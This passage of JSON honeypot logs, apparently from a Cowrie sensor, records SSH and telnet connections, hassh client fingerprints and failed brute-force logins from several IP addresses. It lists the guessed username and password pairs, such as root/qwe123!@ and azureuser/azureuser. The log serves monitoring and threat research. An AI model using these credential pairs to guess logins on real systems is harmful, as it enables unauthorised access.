y1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:01.705995Z","src_ip":"165.154.137.186","session":"6b4d92934576","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:02.843127Z","src_ip":"165.154.137.186","session":"6b4d92934576","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:04.153620Z","src_ip":"165.154.137.186","session":"6b4d92934576","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":58068,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fc2772b895d","protocol":"telnet","message":"New connection: 128.199.8.54:58068 (159.203.135.109:23) [session: 2fc2772b895d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:07.866014Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":36526,"dst_ip":"10.17.0.5","dst_port":22,"session":"daf350184379","protocol":"ssh","message":"New connection: 165.154.137.186:36526 (10.17.0.5:22) [session: daf350184379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:09.440022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:09.444318Z","src_ip":"165.154.137.186","session":"daf350184379","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:09.699354Z","src_ip":"165.154.137.186","session":"daf350184379","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"123456","message":"login attempt [amir/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:10.464678Z","src_ip":"165.154.137.186","session":"daf350184379","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:11.722017Z","src_ip":"165.154.137.186","session":"daf350184379","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":40734,"dst_ip":"10.17.0.5","dst_port":22,"session":"896478c1ee00","protocol":"ssh","message":"New connection: 165.154.137.186:40734 (10.17.0.5:22) [session: 896478c1ee00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:16.929414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:16.934024Z","src_ip":"165.154.137.186","session":"896478c1ee00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:17.181731Z","src_ip":"165.154.137.186","session":"896478c1ee00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:18.383401Z","src_ip":"165.154.137.186","session":"896478c1ee00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:19.685319Z","src_ip":"165.154.137.186","session":"896478c1ee00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.847326040267944,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:20.016767Z","src_ip":"172.81.62.90","session":"6c1f3b38a5e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":37170,"dst_ip":"10.17.0.5","dst_port":22,"session":"dead6134ca52","protocol":"ssh","message":"New connection: 165.154.137.186:37170 (10.17.0.5:22) [session: dead6134ca52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:24.950620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:24.956673Z","src_ip":"165.154.137.186","session":"dead6134ca52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:25.219967Z","src_ip":"165.154.137.186","session":"dead6134ca52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.16881990432739,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:25.354356Z","src_ip":"172.81.62.90","session":"34383f6b03b8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"backup","password":"backup","message":"login attempt [backup/backup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:26.216810Z","src_ip":"165.154.137.186","session":"dead6134ca52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:27.483941Z","src_ip":"165.154.137.186","session":"dead6134ca52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.00272583961487,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:28.202176Z","src_ip":"172.81.62.90","session":"ce0024c08741","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":50408,"dst_ip":"10.17.0.5","dst_port":22,"session":"1866f40c1f50","protocol":"ssh","message":"New connection: 165.154.137.186:50408 (10.17.0.5:22) [session: 1866f40c1f50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:32.419293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:32.423636Z","src_ip":"165.154.137.186","session":"1866f40c1f50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:32.957181Z","src_ip":"165.154.137.186","session":"1866f40c1f50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:34.031432Z","src_ip":"165.154.137.186","session":"1866f40c1f50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:35.290086Z","src_ip":"165.154.137.186","session":"1866f40c1f50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":41030,"dst_ip":"10.17.0.5","dst_port":22,"session":"163a1104587d","protocol":"ssh","message":"New connection: 165.154.137.186:41030 (10.17.0.5:22) [session: 163a1104587d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:40.567151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:40.572126Z","src_ip":"165.154.137.186","session":"163a1104587d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:40.830099Z","src_ip":"165.154.137.186","session":"163a1104587d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:42.012681Z","src_ip":"165.154.137.186","session":"163a1104587d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:43.279934Z","src_ip":"165.154.137.186","session":"163a1104587d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":41038,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf85c2ea33f2","protocol":"ssh","message":"New connection: 165.154.137.186:41038 (10.17.0.5:22) [session: bf85c2ea33f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:48.446513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:48.455428Z","src_ip":"165.154.137.186","session":"bf85c2ea33f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:48.712829Z","src_ip":"165.154.137.186","session":"bf85c2ea33f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:49.479449Z","src_ip":"165.154.137.186","session":"bf85c2ea33f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:50.737621Z","src_ip":"165.154.137.186","session":"bf85c2ea33f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":79.92203450202942,"message":"Connection lost after 79 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:32:59.146738Z","src_ip":"94.23.66.112","session":"fc7c30febdf1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.07992887496948,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:01.945838Z","src_ip":"128.199.8.54","session":"2fc2772b895d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":56368,"dst_ip":"159.203.135.109","dst_port":22,"session":"1dc5a744b6f8","protocol":"ssh","message":"New connection: 27.71.230.31:56368 (159.203.135.109:22) [session: 1dc5a744b6f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:02.337954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:02.393544Z","src_ip":"27.71.230.31","session":"1dc5a744b6f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:02.715536Z","src_ip":"27.71.230.31","session":"1dc5a744b6f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"DarkAdmin@12","message":"login attempt [root/DarkAdmin@12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:06.275189Z","src_ip":"27.71.230.31","session":"1dc5a744b6f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:07.734151Z","src_ip":"27.71.230.31","session":"1dc5a744b6f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.80.65.140","src_port":55239,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1e765550de7","protocol":"ssh","message":"New connection: 170.80.65.140:55239 (10.17.0.5:22) [session: b1e765550de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:15.943237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:33:15.948935Z","src_ip":"170.80.65.140","session":"b1e765550de7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes1